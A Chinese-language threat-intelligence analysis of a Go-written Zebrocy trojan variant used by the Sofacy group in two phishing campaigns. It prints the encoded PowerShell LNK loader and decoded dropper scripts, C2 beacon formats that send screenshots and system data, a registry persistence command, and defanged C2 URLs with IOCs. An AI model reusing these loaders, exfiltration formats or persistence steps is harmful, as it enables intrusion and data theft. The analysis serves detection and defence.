當前位置:
首頁 > 新聞 > 針對Sofacy組織使用Go語言開發的新Zebrocy變體分析

針對Sofacy組織使用Go語言開發的新Zebrocy變體分析

雖然你可能已經看過一些關於Zebrocy惡意軟體的分析了,但迄今為止,Sofacy威脅組織仍在持續使用著Zebrocy四處散播著攻擊。我們之前就曾在一篇博文中提到過Zebrocy工具,探討了它在2018年第一季度的並行攻擊活動,以及最近的幾起攻擊。在10月底和11月初的攻擊活動中我們發現,Zebrocy的開發人員再次使用了不同的編程語言——Go語言,來創建了一個新變種的木馬。使用不同的編程語言來創建一個功能類似的木馬對Sofacy團伙來說並不是什麼新鮮事,Zebrocy變種就曾用AutoIt、Delphi、VB、NET、 c#和Visual c++創建過。雖然我們當前還不能確定Sofacy用Go語言編寫新木馬的充分動機,但能有一點能夠確認的是,此舉是為了通過改變Zebrocy的結構使其更難以被檢測。

我們在兩起獨立的攻擊事件中發現了Zebrocy的Go變體。第一起攻擊事件發生在10月11日,途徑是一封帶有LNK快捷附件的魚叉式釣魚電子郵件。LNK快捷方式用於運行一系列PowerShell腳本並從中提取要安裝和執行的有效負載;但PowerShell腳本編碼卻是錯誤的,無法按照交付的方式安裝或運行負載。因此,第一起攻擊事件並不是成功的,但其目的、技術和指標還是值得探討的。而在最近Sofacy的最新活動中,我們又發現了與發生在10月至11月中旬的Dear Joohn攻擊行動中相同的Zebrocy的Go變體。

第一起攻擊事件

這起攻擊發生在2018年10月11日,攻擊載體是一封魚叉式釣魚電子郵件,郵件內容是探討美國的制裁對俄羅斯經濟的影響。其中「發件人」地址和簽名包含了攻擊對象的個人姓名,而「收件人」欄位卻是為空的。這使我們相信,該郵件的「密件抄送」欄位中包含了目標個人。圖1顯示了這次攻擊中使用的電子郵件。

圖1 Go Zebrocy攻擊中使用的電子郵件

有效載荷

惡意文檔ПротиводействиеДумыСанкциямСША.doc(SHA256:d77eb89501b0a60322bc69692007b9b7f1b5a85541a2aaf21caf7baf0fe0049e)試圖偽裝成Word文檔,但實際上該文件卻是一個LNK快捷方式文件。打開時,LNK文件會在命令提示符中運行以下命令行:

powershell.exe -nop -w 1 $i853=[TeXt.EnCoDING]::utF8.geTStrInG([conVErT]::frOmbaSE64stRing("JHAxLCRwMj0zNjU5LDY5MjQ3NjQ7JHBhdGhUb0xOSz0nQzUgcmVnaW9uYWwgY29uZmVyZW5jZSBhbmQgdHJhaW5pbmcgd29ya3Nob3Agb24gY29tbXVuaXR5IHBvbGljaW5nKDEpLmRvY3gubG5rJztpZigtbk9UKFRlU3QtcEF0SCAkcGF0aFRvTE5LKSl7JERpckQ9R2VULUNISUxkSVRFTSAtcEF0aCAkZW52OnRlbXAgLWZpTFRlciAkcGF0aFRvTE5LIC1yRWNVclNFO1tpTy5kaVJlY3RvUlldOjpzRVRDVXJyZW50RElyRWN0b1JZKCREaXJELmRJcmVDVE9SWU5BTWUpO30kRmlsZVN0cmVhbWE9bkV3LW9iakVDVCBpby5mSUxlU1RyZUFtICRwYXRoVG9MTkssJ09wZU4nLCdSZUFkJywncmVhRHdSSVRFJzskQXJyYXlNYXM9TkV3LW9iamVjVCBieVRFW10oJHAyKTskRmlsZVN0cmVhbWEuU0VlSygkcDEsW2lvLlNlRUtvUmlHaW5dOjpCRUdpbik7JEZpbGVTdHJlYW1hLnJFQUQoJEFycmF5TWFzLDAsJHAyKTskQXJyYXlNYXM9W0NvbnZlclRdOjpGck9tYmFzRTY0Q0hhckFyUkF5KCRBcnJheU1hcywwLCRBcnJheU1hcy5MZU5HVGgpOyRkdWFjYWp1QT1bdGV4VC5FbkNPZEluR106OlVuaWNvZGUuZ0VUc3RSSW5nKCRBcnJheU1hcyk7aWVYICRkdWFjYWp1QTs="));ieX $i853;

該快捷方式使用PowerShell對第二個PowerShell腳本進行base64解碼並執行。第二個PowerShell腳本解碼為以下內容:

$p1,$p2=3659,6924764;$pathToLNK="C5 regional conference and training workshop on community policing(1).docx.lnk";if(-nOT(TeSt-pAtH $pathToLNK)){$DirD=GeT-CHILdITEM -pAth $env:temp -fiLTer $pathToLNK -rEcUrSE;[iO.diRectoRY]::sETCUrrentDIrEctoRY($DirD.dIreCTORYNAMe);}$FileStreama=nEw-objECT io.fILeSTreAm $pathToLNK,"OpeN","ReAd","reaDwRITE";$ArrayMas=NEw-objecT byTE[]($p2);$FileStreama.SEeK($p1,[io.SeEKoRiGin]::BEGin);$FileStreama.rEAD($ArrayMas,0,$p2);$ArrayMas=[ConverT]::FrOmbasE64CHarArRAy($ArrayMas,0,$ArrayMas.LeNGTh);$duacajuA=[texT.EnCOdInG]::Unicode.gETstRIng($ArrayMas);ieX $duacajuA;

上面的PowerShell腳本會試圖直接從LNK快捷文件中提取另一個PowerShell腳本並執行。由於未知的原因,創建這個LNK快捷方式的作者用錯了LNK文件的文件名——C5 regional conference and training workshop on community policing(1).docx而不是交付文檔中的ПротиводействиеДумыСанкциямСША.doc。LNK快捷方式文件名與電子郵件中提供的文件名不匹配,第二個PowerShell腳本將無法獲得要安裝在系統上的有效負載,因此這種攻擊永遠不會成功。其中,名為The C5 regional conference and training workshop on community policing(1).docx的LNK文件可能是攻擊者之前使用過的文檔,這次忘了對其更改。

如果攻擊者在上面的腳本中使用了LNK正確的交付文件名,那麼用於硬編碼的「3659」偏移量(用於在LNK文件中尋找3659個位元組)會將PowerShell腳本定位在LNK文件中。然後該腳本將讀取硬編碼的位元組數並在該偏移量的6,924,764位元組處執行。從LNK文件中獲取的結果PowerShell腳本具有以下內容,為簡潔起見,我們已修剪了一些編碼數據並將其替換為「[..snip ..]」:

$6vlJwyyB = @("C5 regional conference and training workshop on community policing(1).exe","C5 regional conference and training workshop on community policing(1).docx");$TcCd3Fej = "C5 regional conference and training workshop on community policing(1).exe";$Aq3NkyDG = @("TVqQAAMA[..snip..]","UEsDBBQABgAIAA[..snip..]");$ggdDQhlx = "C5 regional conference and training workshop on community policing(1).docx";FOR($I=0;$I -lt $6vLjwYYb.LengTH;$i++){[BYtE[]]$YGktk0Nk = [cOnveRt]::frOmBaSE64StriNg($aq3nkYDg[$I]);[syStEm.IO.fILE]::WrItEaLlbYtES($EnV:pUbLIc+""+$6VLJwYYB[$I],$YGktK0nk);}$qsVmUm76 = $Env:public+""+$tCcd3Fej;$GGdDQhLxPatH = $env:publIC+""+$gGddQHLX;staRT-pROCess -wINDowstylE HIDdeN -FIlepAth $qsVMuM76;StART-ProceSs -FilepaTh $GgDdQHlxpATH;

最後一個PowerShell腳本通過解碼名為C5 regional conference and training workshop on community policing(1).exe和C5 regional conference and training workshop on community policing(1).docx的可執行word文檔將其寫入到系統名為%PUBLIC%的文件夾中。寫入Word文檔的解碼內容包含如圖2所示的誘餌內容(SHA256:b6b2f6aae80cba3fa142bd216decc1f6db024a5ab46d9c21cf6e4c1ab0bbe58b),本例為2018年6月18日至20日在塔吉克杜尚舉行的一次會議議程,由Saferworld和美國和平研究所主辦。

圖2:在安裝Go Zebrocy期間打開的誘餌文檔

解碼後的可執行文件是用Go語言編寫有效載荷(SHA256: fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e),這似乎是我們之前分析過的Zebrocy木馬的變體。正如我們之前所看到的在AutoIt、Delphi和c++中創建了Zebrocy的變體一樣,使用另一種語言開發與Zebrocy功能類似的木馬似乎已經成了這個團體熱衷的一件事。這種有效載荷和以前的Zebrocy變體具有通用的高級功能,在編寫方式上也有一定重疊。與其他Zebrocy示例一樣,在Go中編寫的這個Zebrocy變體在受感染系統上執行初始收集,將此信息傳輸到C2伺服器,並試圖從C2下載、安裝和執行有效負載。Go變體在功能上也有一些更具體的相似之處,包括:

·使用ASCII十六進位混淆字元串

·使用的卷序列號沒有包含從VOL命令獲得的連字元

·在出站C2信標中使用「systeminfo」和「tasklist」的輸出

·在C2信標中使用字元串「PrgStart」

其中,Go變體和其他變體的之間最明顯的重疊是使用了相同的C2 URL——hxxp://89.37.226 [.] 148 / technet-support / library / online-service-description.php?id_name =,

這個地址也用於曾用於Zebrocy的Delphi變種:de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71和daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593。

Go變體會試圖通過檢查其進程的可執行文件名中是否包含「)」字元的來逃避自動分析。如果文件名不包含「)」字元,則立即退出而不執行其功能代碼。這也是C5 regional conference and training workshop on community policing(1).exe中包含「)」字元的原因之一。

另外,Go變體使用HTTP POST請求與其C2伺服器進行交互,而收集的系統信息就包含在HTTP POST請求中,系統信息具體包括:

·通過「tasklist」命令收集運行進程的信息。

·通過「systeminfo」命令收集系統信息。

·通過WMI命令「wmic logicaldisk get caption,description,drivetype,providername,size」收集本地磁碟信息。

·通過使用開源Go庫獲取的桌面的屏幕截圖。

Go變體與其C2之間的C2通信具有以下結構:

POST /technet-support/library/online-service-description.php?id_name=[serial number from VOL command with hyphen removed] HTTP/1.1Host: 89.37.226[.]148User-Agent: Go-http-client/1.1Content-Length: 570690Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip attach=PrgStart%3A[path to running Trojan]%0D%0A%5B[current time]%5D%0D%0A%0D%0A[results from wmic logicaldisk get caption,description,drivetype,providername,size]%0D%0D%0A%0D%0D%0A%0D%0A%0D%0A[results systeminfo command]%0D%0A%0D%0A%0D%0A[results tasklist command]%0D%0A&support=[screenshot of system represented as ascii hexadecimal bytes]

C2伺服器將使用ascii十六進位位元組響應此HTTP POST請求,有效負載將解碼並保存到以下文件:

%APPDATA%Identities\w32srv.exe

然後,有效負載將使用Golang「os / exec」模塊執行這個新創建的文件,用「Command」和「Run」函數來運行以下命令行:

cmd /C %APPDATA%Identities\w32srv.exe

第二起攻擊事件

我們之前就曾發表過關於Dear Joohn行動的分析,而此次觀察到旨在傳播Go Zebrocy變種的第二起攻擊顯然就與Dear Joohn行動有關。雖然Dear Joohn行動發生在2018年10月中旬至11月中旬,而用於傳播的Go Zebrocy變種的文檔(SHA256:346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10c9fa4f3747dfa0)卻是在2018年12月3日創建。該惡意文檔的作者名稱為Joohn,與上一波攻擊的作者名是一樣的。

與Dear Joohn行動一樣,交付文檔通過HTTP下載遠程模板(SHA256:07646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305),這個模板同樣使用了出現在Dear Joohn行動中的作者名:xxx。在打開惡意文檔後會出現如圖3所示的誘餌圖片,它旨在誘使收件人點擊「Enable Content」來運行包含在遠程模板中的惡意宏。

圖3 誘導用戶點擊「Enable Content」的誘餌圖像

惡意文檔會從地址:hxxps://bit[.]ly/2G8QrgL處下載遠程模板,文檔的word/_rels/settings.xml.rels文件中可以看到:

hxxps://bit[.]ly/2G8QrgL短鏈接會重定向到一個託管遠程模板hxxp://89.37.226[.]123/Templates/NormalOld.dotm的URL。而此前的Dear Joohn行動中並沒有使用短網址來下載遠程模板惡意文檔的手段,這表明此行動中使用的技術發生了改變。並且值得注意的是,這個短鏈接的背後透露了有關訪問者及其所處國家的信息。圖4顯示了短鏈接的統計數據,顯示是在2018年12月3日下午12:56創建的,截止到2018年12月5日,一共被訪問了75次,其中大部分訪問來自土耳其。

圖4 用於指向遠程模板的短鏈接訪問者的統計信息(訪問時間:2018年12月5日)

通過該短鏈接下載的遠程模板中包含一個出現在Dear Joohn行動中出現的、與之類似的惡意宏,但又有差異,此次的宏被用於從遠程模板(SHA256:c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506)中提取一個ZIP文件 ,並將其保存到名為driver_pack.zip的文件中。這個ZIP壓縮文件包含一個名為「driver_pack.exe」的可執行文件(SHA256:b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76),這是一個WinRAR SFX可執行文件,其中包含另一個名為comsvc.exe的可執行文件。 WinRAR SFX存檔使用以下SFX腳本提取comsvc.exe有效內容:

Path=%APPDATA%AppHistory

Setup=comsvc.exe

Silent=1

Overwrite=2

comsvc.exe可執行文件(SHA256:93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190fffa)是Go Zebrocy惡意軟體(SHA256:15a866c3c18046022a810aa97eaf2e20f942b8293b9cb6b4d5fb7746242c25b7)的UPX壓縮版本,它是一個下載器,負責從C2伺服器獲取和執行輔助有效負載。

與Zebrocy的其他變體一樣,Go Zebrocy惡意軟體檢查運行進程的路徑以確保它包含comsvc,能被交付文檔執行,並最終將有效負載保存到comsvc.exe。如果Go Zebrocy變種沒有以comsvc.exe的形式運行,它將發送一個HTTP POST請求到goolge[.]com,而不像其他的Zebrocy變種那樣直接退出,我們認為這是一種進一步規避啟發式檢測的嘗試。圖5顯示了發送到google[.]com的HTTP請求。

圖5 使用不正確的文件名執行的Go Zebrocy發送到google.com的HTTP POST

圖5中HTTP POST請求中發送的數據被解碼為011,除了填充Go Zebrocy在與C2通信時使用的相同HTTP POST數據分隔符之外,它沒有任何其他用途。在該樣本作為comsvc.exe運行的情況,它將通過以下URL與C2伺服器進行通信:

hxxp://89.37.226[.]123/advance/portable_version/service.php

Go Zebrocy工具將獲得卷序列號,對系統進行屏幕截圖,並使用Github上可用的合法庫psutil收集系統特定信息。木馬將從psutil庫調用主機信息函數,該函數將有效收集平台信息(操作系統、版本等)、系統啟動時間、系統正常運行時間、系統的GUID和運行進程的進程id。然後Zebrocy變體將發送一個HTTP POST請求到上述URL, POST數據結構如下:

project=%3C%230%3E4D291F48%3C%23%230%3E%3C%231%3E[serial number of storage volume]%3C%23%230%3E%3C%231%3E[gathered system information]%3C%23%231%3E%3C%232%3E[screenshot in JPEG format]%3C%23%232%3E

HTTP POST數據中的十六進位字元用作分隔符,表示如下:

[serial number of storage volume][gathered system information][screenshot in JPEG format]

C2將使用十六進位編碼的有效負載響應上述請求,Go Zebrocy會將它保存到系統並執行。Go Zebrocy將輔助有效載荷寫入以下文件:

%LOCALAPPDATA%MicrosoftFeeds~wcncsvc.exe

在執行這個文件之前,Go Zebrocy將首先創建一個開機自啟動註冊表項,以便在每次用戶使用以下命令行登錄系統時,輔助有效載荷都能自動運行:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionRun /v Media Center Extender Service

在我們的分析過程中,從C2下載的輔助有效負載是另一個用Go語言編寫的木馬(SHA256: 50d610226aa646dd3643fab350b482205aaa86f9dbd356c78a19204cc),它由攻擊者裝入UPX (SHA256: ee9218a451c455fbca45460c0a27e1881833bd2a053ed60f30bd42bd142fdc) 。這個輔助負載是另一個使用HTTPS而不是HTTP進行C2通信的下載器。這個輔助負載作為它的C2與以下URL通信:

hxxps://190.97.167[.]186/pkg/image/do.php

通過HTTPS發送的HTTP POST請求如下圖所示,它包含硬碟卷序列號的前四個位元組和主機名的前四個字元,標記為「l」的欄位,如圖6所示。

圖6輔助有效載荷在其HTTPS C2信道內發送的HTTP信標

結論

Sofacy組織仍在持續使用著Zebrocy四處散播著攻擊,並通過不同的編碼語言創造著新變種,Go語言就是此次嘗試的新成果。然而,Sofacy攻擊者此次在LNK快捷方式文件上似乎犯了一些嚴重錯誤,這使得這次攻擊的結果未免顯得有些荒謬。不過,無論攻擊的最終結果是否成功,對技術細節的分析仍然有助於我們預測該組織未來的動向,因為可以肯定的是,Sofacy組織必然會在未來使用新的Zebrocy變種進行攻擊。而這類攻擊很大程度上得益於Zebrocy的易複製性和傳播的方便性,就拿Go Zebrocy變種來說,它不僅能夠通過LNK快捷方式文件,也能夠通過Word文檔進行傳播。

IOC

Go Zebrocy變種:

Go Zebrocy C2:

hxxp://89.37.226[.]148/technet-support/library/online-service-description.php

89.37.226[.]148

hxxp://89.37.226[.]123/advance/portable_version/service.php

89.37.226[.]123

相關的Zebrocy樣本

de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71

f93b89a707c647ba492efe4515bb69a627ce14f35926ee4147e13d2e030ab55b

與Dear Joohn行動相關的散列值:

346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10d9fa4f3747dfa0 – 惡意文檔

07646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305 – 遠程模板

c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506 –遠程模板中的ZIP文件

b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76 –ZIP文件中的WinRAR SFX文件

與Dear Joohn行動相關的URL:

hxxps://bit[.]ly/2G8QrgL – 遠程模板短網址

hxxp://89.37.226[.]123/Templates/NormalOld.dotm – 遠程模板URL

hxxp://89.37.226[.]123/advance/portable_version/service.php – Go Zebrocy HTTP C2

hxxps://190.97.167[.]186/pkg/image/do.php – 輔助payload HTTPS C2

輔助payload散列值:

輔助payload C2:

hxxps://190.97.167[.]186/pkg/image/do.php

190.97.167[.]186


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

ToR服務中的公共IP是如何通過SSL證書暴露的
「金帽子」獎下線頒獎典禮活動曝光——眾英齊聚 見證榮譽時刻!

TAG:嘶吼RoarTalk |